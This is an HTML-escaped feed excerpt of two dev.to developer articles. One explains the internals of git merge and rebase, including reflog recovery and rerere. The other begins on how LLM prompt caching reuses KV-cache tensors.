&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;timeout = 30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;timeout = 5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;timeout = 30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;timeout = 5&lt;/code&gt; (We changed it; take Ours)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;timeout = 30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;timeout = 30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;timeout = 10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;timeout = 10&lt;/code&gt; (They changed it; take Theirs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;timeout = 30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;timeout = 5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;timeout = 10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;CONFLICT&lt;/strong&gt; (Both changed it; prompt user)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;timeout = 30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;timeout = 5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;timeout = 5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;timeout = 5&lt;/code&gt; (Both made identical edit)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Git applies this comparison at two distinct levels:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Tree level&lt;/strong&gt;: Resolves additions, deletions, and file renames.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Content level&lt;/strong&gt;: For files modified on both sides, Git runs a line-by-line diff algorithm (by default, &lt;code&gt;histogram&lt;/code&gt; diff via the &lt;code&gt;ort&lt;/code&gt; merge backend) on individual hunks.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step D: The Special Case: Criss-Cross Merges and Virtual Bases
&lt;/h3&gt;

&lt;p&gt;When two branches repeatedly merge each other back and forth, the DAG can produce a criss-cross pattern. In this scenario, there is no single lowest common ancestor. There are two equally valid merge bases.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;A --- B --- M1 --- X  [ours]
 \   /     /
  \ /     /
   C --- M2           [theirs]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, both &lt;code&gt;B&lt;/code&gt; and &lt;code&gt;C&lt;/code&gt; are common ancestors of &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;M2&lt;/code&gt;, and neither is an ancestor of the other.&lt;/p&gt;

&lt;p&gt;Historically, picking one base arbitrarily could silently drop changes that the other side had deliberately reverted. Modern Git uses the &lt;code&gt;ort&lt;/code&gt; strategy ("Ostensibly Recursive's Twin", the default since Git 2.34). &lt;/p&gt;

&lt;p&gt;When &lt;code&gt;ort&lt;/code&gt; encounters multiple common ancestors, it recursively merges the merge bases together in memory first. This creates a synthetic &lt;strong&gt;virtual merge base&lt;/strong&gt; commit (a temporary in-memory tree that never gets written to your repository history). Git then uses that virtual merge base as the reference ancestor to merge &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;M2&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step E: Creating the Merge Commit
&lt;/h3&gt;

&lt;p&gt;Once all files are resolved, Git writes the merged working directory into new blob and tree objects. Then it creates a new commit object:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;      B --- C --------
     /                \
A --- D --- E -------- M  [main, HEAD]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you run &lt;code&gt;git cat-file -p M&lt;/code&gt;, you will see two parent fields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tree f1e2d3c...
parent e5f6789... (Commit E: main prior to merge)
parent c9b8a7f... (Commit C: feature branch tip)
author Alex Rivera &amp;lt;alex@example.com&amp;gt; 1732512600 +0000
committer Alex Rivera &amp;lt;alex@example.com&amp;gt; 1732512600 +0000

Merge branch 'feature' into main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The merge commit preserves history exactly as it occurred in physical time.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. What &lt;code&gt;git rebase&lt;/code&gt; Actually Does
&lt;/h2&gt;

&lt;p&gt;Now consider the exact same starting point:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;      B --- C  [feature, HEAD]
     /
A --- D --- E  [main]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You are on &lt;code&gt;feature&lt;/code&gt; and run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ git rebase main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Git does not drag commits &lt;code&gt;B&lt;/code&gt; and &lt;code&gt;C&lt;/code&gt; across the graph. Here is the mechanical sequence that actually runs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                      B' --- C' [feature, HEAD]
                     /
A --- D --- E [main]
       \
        B --- C  [orphaned / dangling in object store]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 1: Discovering the Replay Set
&lt;/h3&gt;

&lt;p&gt;Git calculates the merge base between &lt;code&gt;feature&lt;/code&gt; and &lt;code&gt;main&lt;/code&gt; (commit &lt;code&gt;A&lt;/code&gt;). &lt;/p&gt;

&lt;p&gt;It runs the equivalent of:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ git rev-list --reverse A..feature
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns the list of commits unique to your feature branch: &lt;code&gt;[B, C]&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Detached HEAD State
&lt;/h3&gt;

&lt;p&gt;Git moves the repository into a detached &lt;code&gt;HEAD&lt;/code&gt; state pointing directly at commit &lt;code&gt;E&lt;/code&gt; (the tip of &lt;code&gt;main&lt;/code&gt;). At this moment, your feature branch name is detached while Git sets up an internal workspace in &lt;code&gt;.git/rebase-merge/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Inside that directory, Git writes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;git-rebase-todo&lt;/code&gt;: The list of operations to execute.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;head-name&lt;/code&gt;: The ref being rebased (&lt;code&gt;refs/heads/feature&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;onto&lt;/code&gt;: The target commit hash (&lt;code&gt;E&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 3: Sequential Cherry-Pick Replay
&lt;/h3&gt;

&lt;p&gt;Git loops through the commit list one by one. For commit &lt;code&gt;B&lt;/code&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Git computes the diff between &lt;code&gt;B&lt;/code&gt; and its original parent &lt;code&gt;A&lt;/code&gt;: &lt;code&gt;git diff A B&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Git applies that diff on top of the current &lt;code&gt;HEAD&lt;/code&gt; (commit &lt;code&gt;E&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;If conflicts occur, Git pauses and leaves conflict markers in your working tree.&lt;/li&gt;
&lt;li&gt;Once clean, Git commits the new tree as &lt;strong&gt;&lt;code&gt;B'&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Look at the metadata for &lt;code&gt;B'&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Parent&lt;/strong&gt;: &lt;code&gt;E&lt;/code&gt; (was &lt;code&gt;A&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tree&lt;/strong&gt;: New hash (includes changes from &lt;code&gt;D&lt;/code&gt; and &lt;code&gt;E&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Author&lt;/strong&gt;: Original author preserved.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Author Date&lt;/strong&gt;: Original timestamp preserved.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Committer&lt;/strong&gt;: You (the person running the rebase).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Committer Date&lt;/strong&gt;: Current timestamp right now.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the parent hash, committer date, and tree hash have all changed, the resulting commit hash is completely different. Commit &lt;code&gt;B'&lt;/code&gt; is an entirely new object.&lt;/p&gt;

&lt;p&gt;Git repeats this exact process for commit &lt;code&gt;C&lt;/code&gt;, applying its diff on top of &lt;code&gt;B'&lt;/code&gt; to create &lt;code&gt;C'&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Repointing the Ref
&lt;/h3&gt;

&lt;p&gt;Once commit &lt;code&gt;C'&lt;/code&gt; is written, Git updates &lt;code&gt;.git/refs/heads/feature&lt;/code&gt; to point to the hash of &lt;code&gt;C'&lt;/code&gt;. Then it attaches &lt;code&gt;HEAD&lt;/code&gt; back to &lt;code&gt;feature&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Happened to the Old Commits B and C?
&lt;/h3&gt;

&lt;p&gt;They were not deleted. They still exist on disk inside &lt;code&gt;.git/objects/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;However, no branch reference points to them anymore. In graph theory terms, they are unreachable nodes (often called orphaned or dangling commits). &lt;/p&gt;

&lt;p&gt;They will remain on your drive until Git runs garbage collection (&lt;code&gt;git gc&lt;/code&gt;), which typically waits 30 to 90 days before pruning objects that are unreachable from the reflog.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. The Golden Rule: Why Rebasing Shared Branches Breaks Collaboration
&lt;/h2&gt;

&lt;p&gt;The rule is drilled into every developer: &lt;strong&gt;Never rebase a branch that has been pushed to a shared remote.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here is the exact mechanism of why it breaks other people's repositories.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Breakdown Sequence
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;You create &lt;code&gt;feature&lt;/code&gt; with commits &lt;code&gt;B&lt;/code&gt; and &lt;code&gt;C&lt;/code&gt;. You push it to GitHub:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   origin/feature: A --- B --- C
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Your teammate Bob pulls &lt;code&gt;feature&lt;/code&gt; to collaborate with you. Bob writes commit &lt;code&gt;D&lt;/code&gt; on top of &lt;code&gt;C&lt;/code&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   Bob's local: A --- B --- C --- D  [feature]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Meanwhile, &lt;code&gt;main&lt;/code&gt; has moved forward. You decide to tidy up your branch. You run &lt;code&gt;git rebase main&lt;/code&gt; on your machine:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   Your local: A --- ... --- E --- B' --- C'  [feature]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;You try to push, but Git rejects it because your history has diverged. You force-push:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   $ git push --force-with-lease origin feature
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now GitHub's &lt;code&gt;origin/feature&lt;/code&gt; points to &lt;code&gt;C'&lt;/code&gt;. Commits &lt;code&gt;B&lt;/code&gt; and &lt;code&gt;C&lt;/code&gt; are gone from GitHub's branch ref.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Bob finishes his feature work and runs a standard pull:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   $ git pull origin feature
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What Git Does to Bob
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;git pull&lt;/code&gt; runs &lt;code&gt;git fetch&lt;/code&gt; followed by &lt;code&gt;git merge&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Git looks at Bob's local branch (which has &lt;code&gt;B&lt;/code&gt;, &lt;code&gt;C&lt;/code&gt;, &lt;code&gt;D&lt;/code&gt;) and the incoming remote tracking branch (which has &lt;code&gt;B'&lt;/code&gt;, &lt;code&gt;C'&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Git searches for the common ancestor between Bob's local branch and remote. The common ancestor is commit &lt;strong&gt;A&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Because &lt;code&gt;B'&lt;/code&gt; has a different hash than &lt;code&gt;B&lt;/code&gt;, Git treats &lt;code&gt;B&lt;/code&gt; and &lt;code&gt;C&lt;/code&gt; as unique commits authored by Bob that do not exist on the remote server. Git attempts to merge &lt;code&gt;C'&lt;/code&gt; with &lt;code&gt;D&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The result is a complete mess:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bob's commit history now contains duplicate commits: &lt;code&gt;B&lt;/code&gt;, &lt;code&gt;B'&lt;/code&gt;, &lt;code&gt;C&lt;/code&gt;, &lt;code&gt;C'&lt;/code&gt;, and &lt;code&gt;D&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Bob gets hit with merge conflicts on code that was already reviewed and resolved days ago, because Git is trying to replay the same code changes against each other under different hashes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If Bob panics and resolves the merge, he pushes a merge commit back to GitHub that resurrects the old &lt;code&gt;B&lt;/code&gt; and &lt;code&gt;C&lt;/code&gt; commits. Your clean rebased history is destroyed.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Emergency Recovery: Rescuing a Botched Rebase
&lt;/h2&gt;

&lt;p&gt;Because rebase leaves old commits in the object database, you can almost always undo a botched rebase.&lt;/p&gt;

&lt;p&gt;Git records every movement of &lt;code&gt;HEAD&lt;/code&gt; in the &lt;strong&gt;reflog&lt;/strong&gt; (&lt;code&gt;.git/logs/HEAD&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;If you finish a rebase and realize half your changes disappeared or the branch is corrupted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ git reflog
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You will see an audit trail:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;7c2a104 HEAD@{0}: rebase (finish): returning to refs/heads/feature
7c2a104 HEAD@{1}: rebase (pick): Add user authentication
3e9b110 HEAD@{2}: rebase (pick): Initial endpoint skeleton
4a82b99 HEAD@{3}: rebase (start): checkout main
a1b2c3d HEAD@{4}: commit: Add user authentication   &amp;lt;-- This was your old commit C!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Find the entry right before &lt;code&gt;rebase (start)&lt;/code&gt;. Here, it is &lt;code&gt;HEAD@{4}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Run a hard reset to that reflog entry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ git reset --hard HEAD@&lt;span class="o"&gt;{&lt;/span&gt;4&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Git immediately repoints &lt;code&gt;.git/refs/heads/feature&lt;/code&gt; back to your original commit &lt;code&gt;C&lt;/code&gt;. The entire rebase is undone, and your repository is back to its exact state prior to the operation.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Git RERERE: Taming Repeated Conflicts
&lt;/h2&gt;

&lt;p&gt;One annoying aspect of rebasing long-lived branches is resolving the exact same merge conflict across multiple commits. &lt;/p&gt;

&lt;p&gt;If commit 1 of 5 conflicts on a dependency file, and commit 3 touches the same file, Git pauses on commit 1, asks you to fix it, and may pause again on commit 3 to ask for the same fix.&lt;/p&gt;

&lt;p&gt;You can fix this permanently by enabling Git's &lt;code&gt;rerere&lt;/code&gt; engine (&lt;strong&gt;RE&lt;/strong&gt;use &lt;strong&gt;RE&lt;/strong&gt;corded &lt;strong&gt;RE&lt;/strong&gt;solution):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ git config --global rerere.enabled &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When &lt;code&gt;rerere&lt;/code&gt; is active:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;When a merge conflict happens, Git saves a pre-image fingerprint of the conflicted hunks in &lt;code&gt;.git/rr-cache/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Once you resolve the conflict and commit, Git records the post-image resolution.&lt;/li&gt;
&lt;li&gt;If the same conflict signature occurs anywhere else during a rebase, merge, or cherry-pick, Git automatically applies your previous resolution and notifies you: &lt;code&gt;Resolved 'src/config.ts' using previous resolution.&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  7. The Architectural Trade-Off: Merge vs Rebase
&lt;/h2&gt;

&lt;p&gt;The debate between merge and rebase is not about which command is superior. It is a trade-off between two different values:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;&lt;code&gt;git merge&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;git rebase&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Commit Graph&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Non-linear DAG with branching forks and join commits&lt;/td&gt;
&lt;td&gt;Linear chain with no forks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Commit Identity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Preserves original commit hashes and timestamps&lt;/td&gt;
&lt;td&gt;Creates new commit hashes with updated committer times&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Historical Truth&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;True chronological record of what happened and when&lt;/td&gt;
&lt;td&gt;Curated story of how the feature should be read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bisecting&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;git bisect&lt;/code&gt; can land on noisy merge commits&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;git bisect&lt;/code&gt; is clean and isolates bad commits quickly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Reverting&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reverting a merge commit requires &lt;code&gt;-m 1&lt;/code&gt; parent selection&lt;/td&gt;
&lt;td&gt;Reverting is a simple single-commit patch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Collaboration Safety&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Always safe to push to shared branches&lt;/td&gt;
&lt;td&gt;Dangerous on shared branches; requires force-pushing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Practical Rule of Thumb
&lt;/h3&gt;

&lt;p&gt;Use &lt;strong&gt;rebase&lt;/strong&gt; locally to polish your private branch before submitting a pull request. Squash messy "wip" and "fix typo" commits so your teammates can review clean, atomic units of work.&lt;/p&gt;

&lt;p&gt;Use &lt;strong&gt;merge&lt;/strong&gt; when combining integrated branches (such as merging a pull request into &lt;code&gt;main&lt;/code&gt;), or when multiple engineers need to work against the same shared branch simultaneously.&lt;/p&gt;

&lt;p&gt;Git gives you both tools because software development requires both: a clean narrative for code review, and an immutable historical record for production audits. Knowing what happens to the DAG underneath makes choosing between them easy.&lt;/p&gt;

</description>
      <category>git</category>
      <category>architecture</category>
      <category>programming</category>
      <category>systems</category>
    </item>
    <item>
      <title>How Prompt Caching Actually Works: Radix Trees, KV-Cache Reuse, and Why One Token Breaks Your Agent</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Sun, 22 Nov 2026 18:44:44 +0000</pubDate>
      <link>https://dev.to/syed_anzar/how-prompt-caching-actually-works-radix-trees-kv-cache-reuse-and-why-one-token-breaks-your-agent-54dm</link>
      <guid>https://dev.to/syed_anzar/how-prompt-caching-actually-works-radix-trees-kv-cache-reuse-and-why-one-token-breaks-your-agent-54dm</guid>
      <description>&lt;p&gt;Most developers assume prompt caching is like an HTTP reverse proxy or a Redis key-value cache where an identical string returns an identical response. Then they deploy a multi-turn agent with a 10,000-token system prompt, look at their inference latency or cloud bill, and realize their cache hit rate is sitting at zero.&lt;/p&gt;

&lt;p&gt;Prompt caching does not cache text, and it does not cache completions. It preserves the intermediate numerical Key and Value tensor states generated during the transformer prefill pass.&lt;/p&gt;

&lt;p&gt;When it works, it cuts Time-to-First-Token (TTFT) by 85% to 95% and slashes input token costs by up to 90%. But because of how causal self-attention, rotary positional embeddings (RoPE), and prefix data structures operate, a single dynamic timestamp or unordered dictionary key near the top of your prompt invalidates every cached tensor downstream.&lt;/p&gt;

&lt;p&gt;Here is how prompt caching actually works under the hood across modern inference engines, how SGLang and vLLM track cached memory, and how to structure your prompts so you stop throwing away cache hits.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prefill vs Decode: The Latency and Cost Asymmetry
&lt;/h2&gt;

&lt;p&gt;To understand why prompt caching matters, you have to look at the two distinct phases of autoregressive transformer inference.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Request Prompt (N tokens)
       │
       ▼
┌──────────────────────────────────────────────┐
│ PREFILL PHASE (Parallel Forward Pass)        │
│ Computes Q, K, V for all N tokens at once    │
│ O(N²) attention operations                   │
│ Compute-bound on GPU Tensor Cores            │
└──────────────────────────────────────────────┘
       │
       ▼  (Produces initial KV cache + first token)
┌──────────────────────────────────────────────┐
│ DECODE PHASE (Autoregressive Generation)     │
│ Computes 1 token per forward pass            │
│ Reads all existing KV cache from GPU HBM     │
│ Memory-bandwidth-bound                       │
└──────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you send a prompt with $N$ tokens to an LLM:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Prefill Phase:&lt;/strong&gt; The engine processes all $N$ tokens in parallel in a single forward pass. It multiplies the input embeddings by projection matrices ($W_q, W_k, W_v$) to produce Queries, Keys, and Values. Self-attention requires every token to attend to all preceding tokens, scaling quadratically with sequence length ($O(N^2)$ FLOPs). This phase is compute-bound, saturating the GPU Tensor Cores.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Decode Phase:&lt;/strong&gt; The engine generates output tokens one by one. For each new token, the model needs the Keys and Values of all prior tokens. To avoid recalculating past tokens, the engine keeps them in GPU High Bandwidth Memory (HBM) as the &lt;strong&gt;KV cache&lt;/strong&gt;. Each decode step is memory-bandwidth-bound, because the GPU must transfer gigabytes of KV tensors from memory to registers just to generate a single token.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  The Multi-Turn Agent Tax
&lt;/h3&gt;

&lt;p&gt;In standard single-turn queries, prefill happens once. But AI agents do not run single-turn queries. They run ReAct loops (Reasoning + Action) across 10 to 30 turns.&lt;/p&gt;

&lt;p&gt;On every iteration of the loop, the client sends the entire history back to the inference API:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Base system instructions&lt;/li&gt;
&lt;li&gt;Complete JSON schemas for every available tool&lt;/li&gt;
&lt;li&gt;Few-shot examples&lt;/li&gt;
&lt;li&gt;Full conversation history&lt;/li&gt;
&lt;li&gt;Prior tool call arguments and raw tool outputs&lt;/li&gt;
&lt;li&gt;The newest user instruction
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Turn 1:  [System + Tools (4,000t)] + [User (100t)]               = 4,100 tokens prefilled
Turn 2:  [System + Tools (4,000t)] + [Turn 1 History] + [Tool 1] = 5,200 tokens prefilled
Turn 3:  [System + Tools (4,000t)] + [Turns 1-2] + [Tool 2]      = 6,800 tokens prefilled
...
Turn 10: [System + Tools (4,000t)] + [Turns 1-9] + [Tool 9]      = 14,500 tokens prefilled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without prompt caching, the inference engine recalculates the Keys and Values for that identical 4,000-token system prompt and every preceding conversation turn from scratch on every single step. By turn 10, your agent has recomputed over 80,000 redundant prompt tokens.&lt;/p&gt;

&lt;p&gt;Prompt caching allows the engine to skip the prefill computation for any prefix it has already seen, loading the precomputed KV tensors directly from memory.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Actually Lives in the KV Cache?
&lt;/h2&gt;

&lt;p&gt;To see why caching is tricky, we need to look at what the KV cache actually contains.&lt;/p&gt;

&lt;p&gt;In a transformer layer, input tokens $X$ are projected into Query ($Q$), Key ($K$), and Value ($V$) tensors:&lt;/p&gt;

&lt;p&gt;$$K = X W_k, \quad V = X W_v$$&lt;/p&gt;

&lt;p&gt;For a single token at a single transformer layer, the Key and Value vectors have a fixed dimension:&lt;/p&gt;

&lt;p&gt;$$\text{Vector Size} = \text{num_kv_heads} \times \text{head_dim}$$&lt;/p&gt;

&lt;p&gt;In modern models using Grouped-Query Attention (GQA), such as Llama 3 or Mistral, multiple query heads share a single KV head to save memory. Still, the memory consumption across deep models is substantial:&lt;/p&gt;

&lt;p&gt;$$\text{KV Cache Bytes} = 2 \times \text{num_layers} \times \text{num_kv_heads} \times \text{head_dim} \times \text{bytes_per_elem} \times \text{seq_len}$$&lt;/p&gt;

&lt;p&gt;Let us calculate this for Llama 3 70B running in FP16 (2 bytes per parameter):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Layers: 80&lt;/li&gt;
&lt;li&gt;KV heads: 8&lt;/li&gt;
&lt;li&gt;Head dimension: 128&lt;/li&gt;
&lt;li&gt;Bytes per element: 2 (FP16)&lt;/li&gt;
&lt;li&gt;Formula per token: $2 \times 80 \times 8 \times 128 \times 2 = 327,680 \text{ bytes } (\approx 320 \text{ KB per token})$&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For a 10,000-token context window, the KV cache for a single request takes &lt;strong&gt;3.2 GB of GPU HBM&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  PagedAttention vs Discarded Blocks
&lt;/h3&gt;

&lt;p&gt;In older inference runtimes (like early HuggingFace Transformers), KV caches were allocated as contiguous memory buffers. If a request grew, the engine had to preallocate memory for the maximum possible context length or reallocate and copy memory on the fly, leading to massive memory fragmentation.&lt;/p&gt;

&lt;p&gt;In 2023, vLLM introduced &lt;strong&gt;PagedAttention&lt;/strong&gt;, borrowing the concept of virtual memory and paging from operating systems. It divides the physical KV cache in GPU HBM into fixed-size blocks (typically 16 or 32 tokens per block). Logical blocks in the model's sequence map to arbitrary physical blocks via a block table.&lt;/p&gt;

&lt;p&gt;Originally, PagedAttention freed those blocks as soon as the request finished generating. Prompt caching changes that: instead of freeing the physical blocks, the engine retains them in memory, indexes them by token prefix, and lets subsequent requests point their block tables to those existing physical blocks.&lt;/p&gt;

